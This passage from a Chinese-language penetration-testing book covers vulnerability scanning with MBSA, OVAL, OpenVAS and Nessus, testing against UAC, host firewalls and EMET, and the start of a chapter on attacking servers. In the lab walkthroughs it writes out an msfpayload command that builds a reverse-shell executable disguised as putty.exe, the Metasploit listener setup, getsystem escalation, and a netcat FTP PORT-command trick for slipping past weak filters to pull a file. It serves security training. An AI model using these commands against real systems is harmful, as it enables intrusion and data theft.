在这个例子中,您可以扫描任何您喜欢的机器。我们将扫描我们正在撰写本书的本地主机。当您选择了目标后,点击开始扫描来开始扫描。随后,您将看到该工具连接到微软并下载最新的补丁信息。您也可以配置它从本地服务器获取信息,以防您的网络上没有可用的互联网连接。

以下是完成的扫描示例截图:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

正如前面的截图所示,我们对我们扫描的这台机器有一些担忧。该工具的一个很好的特性是,我们可以点击如何纠正此链接,并获取有关发现的额外信息。额外信息的示例可以在以下截图中找到:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

MBSA 工具很好地展示了漏洞扫描器的优点。这是由网络所有者使用的,因为它帮助他们进行漏洞管理程序。通过内部测试,我们还可以使用漏洞扫描器向客户展示他们的补丁管理策略是否有效。我们接下来要看的工具来自Mitre团队,它是开放漏洞评估语言OVAL)工具。

开放漏洞评估语言

OVAL 工具与 MBSA 工具不同,因为它不仅查看微软软件,还查看其他软件。重要的一点是,这个工具不是企业类型的工具,但是对于我们的内部测试目的,我们可以使用它来查看安装在机器上的软件,并查看是否存在任何漏洞。以下是来自其网站的 OVAL 描述截图:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

正如前面的截图所示,这个工具是国际化的,并提供了一种评估计算机系统状态的方法。我们将看一下这个工具。为此,我们将看一下 OVAL 解释器,它提供了一种演示工具及其定义的方法;您可以从sourceforge.net/projects/ovaldi/下载它。工具下载完成后,运行工具并安装它。为了本书的目的,我们将其安装在运行 Windows 7 的虚拟机上。请随意在您选择的机器上安装它。下载了工具之后,当您运行可执行文件时,它是一个 SFX 存档,执行后所有文件将解压缩到硬盘上的一个目录中。默认情况下,它将选择Program Files目录;但是,建议您将位置更改为目录名称中没有空格的位置。

解压缩文件后,您可以阅读README.txt文件,您会发现接下来要做的事情是下载最新的定义文件。以下截图显示了有关这些定义文件的信息,包括它们的类型:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

查看了定义的信息后,我们会想要使用漏洞定义。您可以从oval.mitre.org/rep-data/index.html下载它们的最新版本。在撰写本书时,OVAL 的最新版本是 5.10,这是我们将要使用的版本。您的版本可能不同,因此一些截图可能与本书中的截图不同。

您会注意到定义是按平台划分的;这样我们在运行解释器时只需专注于我们正在使用的特定平台。由于我们在本书中使用的是 Windows 7,我们只会下载它。您还会看到有一个哈希值来帮助维护定义的完整性。

提示

下载了定义之后,您会想把它放在 OVAL 目录中,并将其重命名为definitions.xml

重命名文件后,您就可以运行解释器工具了;在命令提示符窗口中输入以下内容:

ovaldi –m –a xml –x test.html

如果出现应用程序初始化错误,则必须下载适用于您的操作系统版本的正确 Visual C++平台,可能还需要.NET 4.0 包。这是使用 Windows 的一个缺点,特别是在使用开源工具时。当然,您也可能在 UNIX 和 Linux 中遇到相同的问题,例如库依赖性和其他挑战。有关更多信息,请参阅README文件。该命令使用哈希作为验证,以确保定义文件没有损坏。

运行命令时的初始结果示例如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

创建特征文件后,您将看到工具报告,指出它正在运行 OVAL 定义分析,并显示收集的日期。这个过程需要一些时间来完成,取决于运行的机器上的软件数量和其他因素。当工具到达这个阶段时的示例如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

分析完成后,输出将被写入命令行上指定的文件。在我们的示例中,我们将输出写入test.html文件。以下截图显示了系统信息的示例:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

上一张屏幕截图不仅显示了有关机器的信息,还显示了 OVAL 工具本身。它为我们提供了模式版本和产品版本。在此区域下方是工具发现的报告。这是漏洞的列表,包括对外部信息的引用,以了解更多关于发现的信息。以下截图显示了一个示例:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

显示了列出的漏洞,包括对外部信息的引用(裁剪的文本不重要)

如前面的截图所示,这里引用了 OVAL ID 和通用漏洞暴露CVE)编号。要获取更多信息,可以单击提供的链接。以下截图显示了 OVAL ID 网站上的信息示例:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

OVAL 工具是您可能想要更熟悉的工具。在进行内部测试时,它可以帮助您发现漏洞,而漏洞扫描器可能无法找到。我们现在将看一下通常从远程位置使用的漏洞扫描器。我们在 MBSA 工具中也有这个功能,但它需要特权访问来执行扫描。此外,OVAL 工具也需要特权访问。

无凭证扫描

在我们的内部测试中使用漏洞扫描器时,第一次扫描将不使用凭证,因此我们将查看 Kali Linux 中的工具来实现这一点。在 Kali Linux 中,漏洞扫描器位于应用程序 | Kali Linux | 漏洞分析位置。在这个位置中,有许多工具可供我们用于漏洞扫描。以下截图显示了一个示例:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

我们将使用的扫描器是 OpenVAS 扫描器。当您第一次开始使用 OpenVAS 时,需要执行一些步骤。第一步是导航到应用程序 | Kali Linux | 漏洞分析 | OpenVAS | 初始设置。这将下载所需的所有插件,并需要一些时间来完成。工具加载完成后,将要求输入密码;默认用户是admin,您可以输入自己选择的密码。

您需要做的下一件事是打开浏览器并连接到该工具的界面。在浏览器中输入https://127.0.0.1:9392以打开 OpenVAS。下面的截图显示了一个示例:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

在浏览器中输入 https://127.0.0.1:9392 后显示的界面(裁剪的文本不重要)

使用用户名admin和您在初始设置期间创建的密码登录界面。这将带您进入扫描配置页面,在 Kali 中,包括一个快速入门区域,如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

在进行扫描之前,我们还有一些额外的步骤要执行。第一步是更新网络漏洞测试NVT)源。导航到管理 | NVT 源 | 立即同步源;一旦同步完成,您需要更新安全内容自动化协议SCAP)源。我们可以通过导航到管理 | SCAP 源 | 与 SCAP 同步,然后通过导航到管理 | NVT 源 | 立即同步 CERT 源来完成这一步。

对于我们的第一次扫描,我们将扫描 Windows XP 机器,因为它应该为我们提供许多发现。正如您在快速入门部分的解释中所看到的,快捷方式可以帮我们省去创建目标和扫描的新任务的麻烦。对于阅读本书的一些人来说,您可能已经在BackTrack发行版上运行过 OpenVAS,并且还记得在那里进行扫描可能有多麻烦。

注意

如果您在 OpenVAS 上遇到问题,有时在 BackTrack 中执行该过程会更容易。由于某种原因,当您更新 Kali Linux 发行版时,有时会导致 OpenVAS 出现问题。有一些非常好的互联网教程可以使用该工具。在 BackTrack 上使用它的一个很受欢迎的教程可以在www.ehacking.net/2011/06/backtrack-5-openvas-tutorial.html找到。尽管它有点过时,但它运行得非常好。

一旦我们扫描了 XP 机器,我们将得到一份发现报告。XP 机器的报告示例如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

Nessus

我们将使用的下一个工具是 Tenable 的漏洞扫描工具Nessus。您可以从www.tenable.com/products/nessus/select-your-operating-system下载该工具。

一旦您下载了该工具,您需要注册一个家庭注册源,然后安装软件。在本书中,我们将使用该工具的 Windows 版本。这是因为 Web 界面使用 Flash,这有时会在 Kali Linux 发行版中引起问题,因此通常更容易使用 Windows 工具。欢迎您在 Kali 中使用该工具;只需在互联网上搜索教程,它将指导您完成整个过程。

在撰写本书时,Nessus 的最新版本是 5.2.5,此版本包括许多功能和重新设计的 Nessus 界面。此外,他们还增加了创建修复报告的功能。当您进行测试时,这总是一个很好的功能,因为然后您可以帮助客户了解修复您发现的问题需要付出什么样的努力。在此版本中,您需要在执行扫描之前首先选择一个策略。策略选项的示例如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

在我们的示例中,我们将点击基本网络扫描并打开策略的配置表单。我们将扫描我们的 Windows 7 机器,但首先,我们需要为扫描输入一个名称。我们将输入名称为FirstScan。您还会注意到您可以选择一个范围。我们将保留私有的默认设置,并点击下一步进入下一个屏幕。我们可以选择内部外部作为扫描类型。由于我们在一个平面网络上,我们将使用内部的设置,并点击下一步。这将带我们到一个屏幕,我们可以添加凭据。由于这是一个没有凭据的扫描,我们现在不会这样做。所以,点击保存保存扫描的详细信息。我们第一次扫描策略的示例如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

现在我们准备开始扫描,所以导航到扫描 | 新扫描开始扫描的配置过程。输入扫描的名称,然后输入目标的 IP 地址。扫描配置的示例如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

一旦您验证了您的信息,点击启动按钮启动扫描。您会注意到扫描开始了,并且您应该看到一个运行中的消息来指示扫描处于运行状态。这将需要一些时间,但当扫描完成时,您将在状态区域看到它标记为已完成。扫描结果的示例如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

嗯,这并不是很令人兴奋;我们只有蓝色和三个漏洞。所以,我们需要扫描一些能够提供更多弱点的东西。我们现在就来做这个;下一个扫描将是 Windows XP 机器的扫描。这次扫描的结果示例如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

嗯,这好一点,但还不够好!

使用凭据进行扫描

再次强调,当提供凭据时,漏洞扫描器的工作效果最佳。到目前为止,我们还没有提供任何凭据。我们现在将这样做。如果您返回到扫描策略的配置,导航到策略 | 新策略,点击基本网络扫描,然后点击下一步。当您到达凭据页面的配置时,您需要输入管理员帐户的用户名和密码。还有一个有凭据的扫描选项,但现在我们将进行与刚才相同的扫描,看看会发生什么。一旦我们输入了所需的详细信息,点击启动启动扫描。

已完成扫描的示例如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

我们有一些更多的信息发现,但仍然只有相同的两个中等漏洞,那么现在我们该怎么办呢?这次我们将尝试另一个扫描,选择引用使用凭据的策略。返回扫描配置。当选项出现时,选择有凭据的扫描,让我们看看这是否会带来更多的成功。不幸的是,这也没有带来太多的成功。这个过程是从远程位置进行扫描并记录发现,然后如果范围允许,您可以使用 MBSA 或 OVAL 在本地进行扫描。

在我们继续之前,这里有一个重要的说明:我们一直在尝试对这台机器进行扫描,而那时,这台机器的 Windows 防火墙是开启的。因此,这是内部测试的挑战;如果机器开启了防火墙,可能会使事情变得更加困难。让我们再看一下关闭防火墙的 Windows 7 机器的一次扫描。如果机器在连接到网络时设置为公共,那么文件共享将被关闭,当我们使用工具对其进行扫描时,什么都不会起作用。因此,我们需要确保即使防火墙已启用,我们仍然可以访问文件共享端口。

以下是关闭防火墙的 Windows 7 扫描的示例截图:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

在这种情况下,我们现在有相当多的漏洞,因为我们将凭据添加到了扫描策略中。这就是漏洞扫描工具的威力所在;当它们有了凭据,它们就会更加有效。

接下来,我们将对 Unix 机器进行有和无凭据的扫描,以便比较不同的操作系统。我们将使用 FreeBSD Unix,实际上,我们将使用一个旧版本来看看我们能发现什么。我们将使用的版本是 6.4,在撰写本书时,版本是 10.0,因此有相当大的差异。以下是没有凭据的 FreeBSD 扫描的示例截图:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

正如我们从之前的截图中看到的,有三个低级漏洞。这是一台非常古老的 Unix 机器,因此很难相信只发现了三个漏洞。然而,让我们添加一些凭据,看看我们是否能得到更好的结果。对于 Unix 和 Linux,凭据是通过安全外壳SSH)提供的。以下是使用 SSH 凭据进行相同扫描的示例截图:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

现在我们有 28 个漏洞,但更重要的是,我们发现了一个关键的问题,即操作系统不受支持。我们可能会认为操作系统不受支持是因为它是一个非常旧的版本,但是当你仔细想想,漏洞并没有那么多。

您可能还会注意到,当您尝试扫描 FreeBSD Unix 机器时,扫描似乎需要很长时间。这是因为这台机器知道潜在的扫描是什么样子的,因此会限制它发送的内容。以下是一个示例截图:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

正如之前的截图所示,扫描工具正在请求大量数据包,而 FreeBSD 机器将其限制为每秒 200 个数据包,无论工具尝试什么。再加上大多数漏洞扫描工具主要关注 Windows,这就是为什么我们在扫描中没有看到很多结果的原因。

我们将尝试进行另一个扫描作为示例,看看当扫描遇到 Linux 目标时,扫描器会检测到什么。我们要做的第一次扫描是在之前创建的 Kioptrix 机器上使用 Nessus 进行扫描。以下是 Kioptrix 机器的 Nessus 网络扫描的示例截图:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

显示了 Kioptrix 机器的 Nessus 网络扫描示例(裁剪的文本不重要)

这更像是!我们至少可以检测到非常容易受攻击的 Linux 机器。这就是为什么我们在我们的范围内进行测试;我们想知道我们能够检测到什么,以及不能检测到什么。因此,根据本节,FreeBSD Unix 机器没有显示出太多信息,但 Windows 和 Linux 机器显示了。在测试时了解这一点是很重要的。如果你遇到了 Unix 机器,你会知道你可以将它保存到测试的最后,一旦你完成了其他机器的所有细节。

处理主机保护

我们知道很可能会遇到主机保护,因此在我们的渗透测试实验室中,我们想测试不同的主机保护,看看我们能做什么,不能做什么。这是一个取决于管理员和我们所面对的团队的领域。一个硬化的机器上几乎没有运行的服务将对我们的测试构成挑战。

用户账户控制

我们将遇到的最常见的事情之一是用户账户控制UAC);这是因为它默认情况下是开启的,并且在安装 Windows 时很少更改。关于 UAC 和绕过它的方法,一个好的方面是用户习惯于点击。因此,如果弹出窗口说需要权限,用户很可能会点击。我们可以利用这一点,但总有可能用户不会点击。因此,在这些情况下,我们依赖某种形式的 UAC 绕过来帮助我们绕过 UAC 保护。

在 metasploit 框架中,有一个 UAC 绕过,它是位于 Meterpreter shell 中的一个功能。有关 UAC 和绕过它的方法,请参考journeyintoir.blogspot.com/2013/03/uac-impact-on-malware.html

在很大程度上,要利用 Windows 7 机器,我们需要获得某种客户端攻击。我们将在本书的后面讨论这些攻击。现在,我们将使用创建可执行文件的简单方法,然后将其传输到受害者机器。执行时,这将为我们提供对 Windows 7 机器的 shell。一旦我们有了 shell,那么只是通过不同的进程来尝试绕过 UAC 并在机器上实现系统级别特权的问题。

我们要做的第一件事是验证机器上是否启用了 UAC 设置。您可以通过导航到控制面板 | 操作中心 | 更改用户账户控制设置来找到设置。这将打开 UAC 的设置。以下是示例:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

我们将创建一个可执行文件,并将其传输到 Windows 7 虚拟机,以便从被攻击的机器中获得我们的第一个 shell。我们将使用 metasploit 的可执行文件功能。

我们首先需要创建一个可执行文件,用作从 Windows 7 机器返回到我们的 Kali Linux 机器的连接。我们在 metasploit 工具中具有这种能力。在您的 Kali Linux 机器上,打开一个终端窗口,并输入msfconsole来打开 metasploit 工具。一旦 metasploit 工具启动(这将需要一分钟),输入以下命令:

msfpayload windows/meterpreter/reverse_tcp LHOST = <IP ADDRESS OF Kali> LPORT=123 X > putty.exe

这将创建一个名为putty的可执行文件,其中包含用于从网络到 Kali 机器的连接的有效载荷和连接信息。

以下是输入和完成命令的示例:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

屏幕显示输入和完成命令的示例(裁剪的文本不重要)

我们现在已经创建了文件,并需要将其从我们的机器传输到受害者。我们可以使用某种形式的社会工程学;但是,对于我们的目的,在实验环境中,我们将文件拖放到受害者机器中。

接下来我们需要做的是设置 metasploit 工具;我们通过输入以下命令来实现这一点:

  • use exploit/multi/handler

  • set PAYLOAD windows/meterpreter/reverse_tcp

  • set LHOST <Kali IP>

  • set LPORT 123

  • exploit

这将设置监听器,并等待受害者连接。以下是命令的示例:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

现在我们已经准备好连接了。为此,我们需要用户运行我们创建的可执行文件。我们可以使用诸如msfencode之类的编码器来尝试规避已经存在的基于主机的保护措施。然而,在测试环境中,我们只能验证规避是否适用于我们的配置,并不能保证我们在目标环境中会得到相同的配置。当程序运行时,我们应该在我们的 Kali 窗口中看到一个连接和会话打开。以下截图显示了一个示例:

用户账户控制

现在我们有了一个 shell。接下来就是棘手的部分;我们必须尝试提升权限,但首先我们需要看看我们目前的权限级别是什么。在受害机器上的 shell 中输入getuid来显示您当前的权限级别。以下截图显示了一个示例:

用户账户控制

正如前面的截图所示,我们不是系统,所以我们需要提升权限并绕过 UAC 保护。首先要尝试的是看看 Meterpreter shell 是否能为我们执行特权升级。我们可以通过输入getsystem来让它尝试将权限提升到系统级别。以下截图显示了一个示例:

用户账户控制

显示输入 getsystem 并让其尝试将权限提升到系统(裁剪的文本不重要)

正如前面的截图所示,我们没有成功,所以我们需要尝试另一种方法。当我们讨论客户端测试时,我们将更详细地讨论这个问题。所以,现在我们将在这里停下来,稍后再来看这个问题。一如既往,这取决于我们已经入侵的机器的配置。我们不能保证我们能够绕过 UAC。

主机防火墙

在我们的测试中,防御中经常被忽视的一点是主机防火墙。在本章的前面,我们解释了在防火墙开启时,我们在进行漏洞扫描时会受到一定的限制。我们将继续进行测试,以便了解主机防火墙可能带来的挑战,然后看看在防火墙开启时我们可以使用哪些方法来从目标获取数据。

正如您可能记得的,根据我们的扫描方法论,我们首先寻找活动系统,然后是端口,接着是服务。从那里,我们进行枚举,识别漏洞,然后根据我们的工作范围进行利用。现在,我们需要做的是首先关闭防火墙,然后在各个定义的区域的样本上打开防火墙。我们将使用 Kali Linux 虚拟机和 Windows 7 机器作为我们测试的目标。

在您的 Windows 7 机器上,我们需要打开防火墙配置。有许多方法可以做到这一点。为了我们的目的,在这里我们将右键单击网络托盘图标,然后导航到打开网络和共享中心 | Windows 防火墙以打开防火墙配置选项。以下截图显示了一个示例:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

正如前面的截图所示,我们的防火墙是开启的,但只在家庭或工作(私人)网络设置上开启。这可能不是我们在实际环境中会遇到的情况;公共网络设置更有可能是开启状态,但对于我们的测试来说,这已经足够了。所以,问题是,对于最新版本的 Windows 来说,不同的区域对于防火墙设置意味着什么,与例如 Windows Server 2003 相比并不那么重要?

最新版本的 Windows 知道,如果机器的角色是客户端,那么它不应该接收任何连接。那么,我们如何查看连接设置呢?在 Windows 7 机器上以管理员命令提示符打开,并在命令行上输入以下命令:

netsh firewall show portopening

命令的示例如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

正如之前的截图所示,机器上没有任何开放的东西。同样,这是因为它是一个客户端,默认情况下,Windows 不允许任何东西与客户端通信。这可以通过查看 Windows 机器上的推荐设置来发现。这的一个示例如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

现在我们对 Windows 防火墙规则有了更好的理解,是时候进行我们的方法论了。使用你的 Kali Linux 机器,扫描 Windows 7 机器。你应该执行方法论的步骤,然后查看有无防火墙的结果。对没有防火墙的机器进行 Nmap 的枚举扫描的示例如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

现在我们有了一个显示关于我们目标的大量信息的结果,我们将打开防火墙,看看 Nmap 工具或者更确切地说,Nmap 脚本引擎是否能检测到来自受防火墙保护目标的任何东西。你可以使用命令行来启用防火墙。在命令提示符窗口中,输入netsh firewall set opmode enable来启用防火墙。针对受防火墙保护的机器进行扫描的结果示例如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

正如之前的截图所示,防火墙可能会给我们的测试带来挑战。事实上,对于 Windows 7,默认情况下,真的没有任何入站允许的东西,这显示了安全哲学的变化。好消息是,某些东西将需要访问,因此管理员会打开某些东西或允许某些程序访问。要查看命令行中允许的程序,输入以下命令:

netsh firewall show allowedprogram

我们已经看过了 Windows 7 防火墙,这是客户端的一个表示,但服务器呢?我们将以 Windows 2003 服务器进行比较。Windows Server 2003 中的命令是相同的。如果服务器设置为独立服务器,那么你将看到与我们之前发现的类似的结果。然而,很少见到没有某种形式服务的服务器,最常见的是文件共享服务,许多服务器允许共享信息。启用文件共享的 Windows Server 2003 的示例如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

现在我们已经看过了如果一个站点使用 Windows 的内置防火墙所采取的保护措施,正如我们发现的那样,这可能会在测试中提出挑战。

端点保护

我们要看的下一个保护类型是端点保护。我们之前看过一个例子,所以这里我们只会简要介绍一下这个主题。要记住的重要事情是所有这些保护通常都有一些必须允许通过的东西,在测试中,我们的任务是尝试发现这一点并揭示弱点。我们看了 Symantec 工具,并发现如果我们使用一个带有签名的标准有效负载,那么很可能会被检测到。如果我们在受保护的机器上获得了 shell,那么只需要识别服务然后终止它。只要我们选择 Meterpreter 作为有效负载,这一切都可以使用 metasploit 工具完成。

增强的缓解体验工具

在撰写本书时,微软提供的增强缓解体验工具(EMET)工具可能是您在机器上遇到的最棘手的工具之一。这种保护的部署仍处于起步阶段,但如果您在测试中遇到它,可能会非常具有挑战性。这也是微软开始支持“漏洞赏金”概念的原因,他们将支付在其最新操作系统中发现的软件漏洞。

在撰写本书时,EMET 的当前版本是 4.0。如果您遇到受 EMET 保护的机器,您将不得不想出自定义有效载荷以及其他方法来尝试绕过它,但祝您好运!随着 EMET 的迭代不断成熟,要绕过它将变得越来越困难。目标是在获得访问权限后停止 EMET 进程,然后进行攻击;否则,使用自定义有效载荷,并希望您可以绕过 EMET 保护。

以下是我笔记本电脑上 EMET 配置的一个示例:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

正如前面的截图所示,在这个配置中,已经有三个应用程序被添加到 EMET 工具中。这些应用程序将在一个 shimmed 环境中运行,以防止它们被 compromise。EMET 工具还有许多已经设置好的应用程序进行监控。

以下是一些示例,显示了其中一些:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

您还可以添加需要受 EMET 工具保护的应用程序。要查看用户添加了哪些应用程序,您可以在命令提示符窗口中输入以下内容:

C:\Program Files (x86)\EMET\EMET_conf --list

这个命令将显示已添加并当前受到 EMET 工具保护的应用程序。以下是一个示例:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

正如前面的截图所示,这台机器正在使用 EMET 工具保护 Adobe Acrobat、Internet Explorer 和 Skype。如果您在测试中遇到 EMET,您的成功将取决于管理员如何配置它。

总结

在本章中,我们讨论了测试平面和内部网络的过程。我们发现这意味着我们不必穿过过滤器或层来攻击目标。虽然这是一件好事,但我们也讨论了这些机器将有一些保护措施。我们还回顾了漏洞扫描器在内部测试中的作用。

在介绍了不同的基于主机的保护措施后,我们更详细地研究了它们,并在某些情况下尝试了许多不同的技术来绕过我们可能遇到的主机上的不同保护。具体来说,我们查看了主机防火墙和 UAC 设置以及它们对测试结果的影响。

当我们查看了主机防火墙和 UAC 后,我们继续简要地查看了可能挑战我们测试的其他端点保护。

最后,我们通过查看 EMET 工具可能对我们的测试提出的挑战来结束了本章。

本章到此结束。您现在已经审查了在测试平面和内部网络时可能面临的一些挑战。接下来,我们将看看在评估服务器和服务的弱点时的测试方法。

第十一章:攻击服务器

在本章中,我们将确定我们用来攻击服务和服务器的方法。好消息是,我们知道服务器必须运行服务,并且更重要的是,必须将套接字处于监听状态,准备接受连接。此外,这意味着服务器只需坐在那里等待我们来攻击它。这对我们来说是好事,因为我们已经在第九章中涵盖了这一点,评估 Web 服务器和 Web 应用程序。我们将看到的最常见的攻击向量是运行在 Web 服务器上的 Web 应用程序。我们不打算在这里再次涵盖这一点;相反,我们将专注于我们可以攻击的其他服务器平台上的其他事物。在本章中,我们将讨论以下主题:

  • 服务器的常见协议和应用程序

  • 数据库评估

  • 操作系统平台特定

本章将为我们提供有关我们在测试时可以针对的服务器的信息。由于目标是服务器,我们可能会通过操作系统漏洞或缺陷来获取访问权限。不幸的是,这种情况变得越来越少见。微软和其他供应商已经做了他们的功课,对操作系统的攻击向量并没有消失,但可以认为它们处于生命支持状态。因此,我们希望专注于运行在服务器上的协议和应用程序,因为它们通常会为我们提供成功攻击的最佳机会。

服务器的常见协议和应用程序

在本节中,我们将看一些通常在服务器上找到的常见协议和应用程序。

网络

再次强调,尽管我们已经涵盖了这一点,但它仍然是服务器上最常见的应用程序之一,因此也是我们潜在的攻击向量之一。在涉及到 Web 应用程序时,由于应用程序编码中的常见错误,我们有更多潜在的攻击领域。

文件传输协议

文件传输协议FTP)已经存在很长时间了。在本节中,我们将使用一种高级的 FTP 方法,当您遇到不允许标准 FTP 客户端/服务器通信工作的环境时可以使用。关于协议的信息的一个很好的参考是 Network Sorcery 网站;您可以在www.networksorcery.com找到它。这里有大量的参考信息;我们想要专注的领域是RFC Sourcebook | Protocols。以下是此页面的示例屏幕截图:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

RFC 协议(裁剪的文本不重要)

当您查看网站时,您会发现顶部有一个按字母顺序排列的菜单栏。这是我们想要选择我们在进行专业安全测试时可能遇到的协议的地方。我们想要查看 FTP 信息。导航到F | FTP以打开包含有关 FTP 信息的页面。以下是此示例的屏幕截图:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

屏幕显示包含有关 FTP 信息的页面(裁剪的文本不重要)

当我们进行测试时,通常为时已晚以获取我们可能需要的某些协议的详细知识;这就是 RFC Sourcebook 可以帮助我们的地方。这个网站很有用,因为它还提供了协议数据包头信息。单击IP以显示头部。以下是头部的示例屏幕截图:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

协议研究

在研究协议时,你可以发现很多东西;然而,要能够做到这一点,我们需要了解协议的行为方式。这就是我们在研究协议时想要做的事情;此外,我们想知道如何利用 FTP。由于大多数客户端,如果不是所有的话,都在机器上有一个 FTP 客户端,这是一个很好的传输文件的方式。例如,如果我们发现了我们在第七章中讨论的弱过滤器,我们通常会这样做,设备评估。在我们能够做到这一点之前,我们需要更多地了解 FTP 以及它是如何创建连接的。我们将为您节省一些时间并提供一个示例;然而,我们鼓励您研究该协议以了解更多可以使用的技巧。

注意

你需要知道的主要事情是 FTP 端口命令通过逗号而不是我们通常使用的小数点来识别 IP 地址。

此外,它使用字节模式系统,端口以 Base 256 格式表示。因此,要连接到 IP 地址192.168.177.10的端口1024,命令如下:

port 192,168,177,10,4,0

这是一个端口的分解,端口由4x256=1024表示。再次强调,当我们遇到常见的 FTP 协议时,了解这些是很有用的,它位于一个由弱过滤规则保护的 DMZ 中。

这最好用一个例子来表示。你需要一台机器作为过滤器;你可以使用我们在本书中之前创建的Dynamips机器或IP Tables机器。然后,你需要一台作为内部机器的机器,它将运行 FTP 服务器。我们将在本书中使用 Windows 7 机器,但它可以是任何具有运行 FTP 服务器能力的机器。然后,我们需要一台作为外部机器的机器,从外部发送流量。你需要在过滤设备的两侧创建路由。此外,创建允许 FTP 流量和返回流量的规则。请记住,返回流量的源端口将是 20。一旦你建立了所需的架构,只是一个通过命令来工作的问题。我们将使用 Kali Linux 机器发送命令并运行netcat;我们将使用受保护机器上的 3com FTP 服务器。

正如我们之前提到的,对于路由器和无状态过滤器来说,管理员通常允许诸如 FTP 之类的协议的返回流量,正如我们所展示的,我们可以利用这一点来绕过已经设置的过滤器。此外,我们可以利用我们对 FTP 行为方式和与 FTP 服务器交互所使用的命令的知识。

一旦我们建立了我们的环境,我们需要做的第一件事就是启动我们的 FTP 服务器。一旦服务器启动,我们需要使用来自源端口 20 的能力从 Kali Linux 机器连接到它。在 Kali Linux 的终端窗口中,输入以下命令:

enter nc –p 20 <IP Address of the server> 21

这将连接到位于过滤设备内部的 FTP 服务器。下面的截图显示了一个示例:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

正如前面的截图所示,我们成功的一个很好的指示是我们看到了服务器的横幅。这是一个常见的配置,当内部机器被允许连接到外部 FTP 服务器时,服务器将从源端口 20 发送数据。然后,允许此连接的规则在过滤设备中;因此,通过从这个端口发送数据,我们可以渗透到一个弱过滤器中。我们使用内部的 FTP 服务器来证明这一点。我们本可以选择机器上的任何开放端口来展示这一点。现在我们需要登录服务器,很可能anonymous将被启用。因此,将用户输入为anonymous,一旦看到用户的确认,输入密码为password123

一旦收到用户已登录的确认,您可以输入help以查看命令。从可用的 FTP 命令中,我们想要使用的是nlst命令,它将为我们提供所在目录的列表。在 FTP 登录窗口中,输入nlst以列出目录。您成功了吗?答案是否定的!这是因为要使其工作,程序必须知道客户端正在侦听的端口,以便将数据发送到该端口。为了设置这一点,我们需要打开另一个窗口,以便可以获取连接返回的数据。当您打开另一个终端窗口时,可以将它们排列在一起,以便同时看到它们。在新窗口中,输入以下命令:

nc –l –p 2048

这将在 Kali Linux 机器上打开一个端口,用于接收来自服务器的数据。一旦端口处于侦听状态,我们需要告诉服务器将数据发送到哪个端口,我们使用port命令来做到这一点:

port <IP address separated by commas> 8,0 

这将通知服务器将数据发送到端口 2048。数据发送后,您输入nlst命令。这将显示服务器上列出的目录。以下屏幕截图显示了一个示例:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

正如前面的屏幕截图所示,我们在服务器上有一个名为account.txt的文件。我们现在将使用 FTP 服务器将文件发送给我们。我们希望将接收到的数据输出到一个文件中;我们将使用输出重定向(>)运算符来实现这一点。这个过程与之前的一样。在带有netcat工具的窗口中,输入以下命令:

nc –l –p 2048 > trophy.txt.

我们现在准备运行命令序列。输入与我们之前输入到端口命令相同的命令。一旦输入了端口命令,我们需要获取文件。我们通过输入retr accounts.txt来实现这一点。以下屏幕截图显示了一个示例:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

正如前面的屏幕截图所示,我们已经将文件传输到我们的 Kali Linux 机器上。为了验证这一点,我们输入trophy.txt。结果如下屏幕截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

正如前面的屏幕截图所示,我们已成功传输了一个文件。重要的是要记住,这可以是任何文件。要求是找到弱过滤规则,然后利用它为我们谋利。

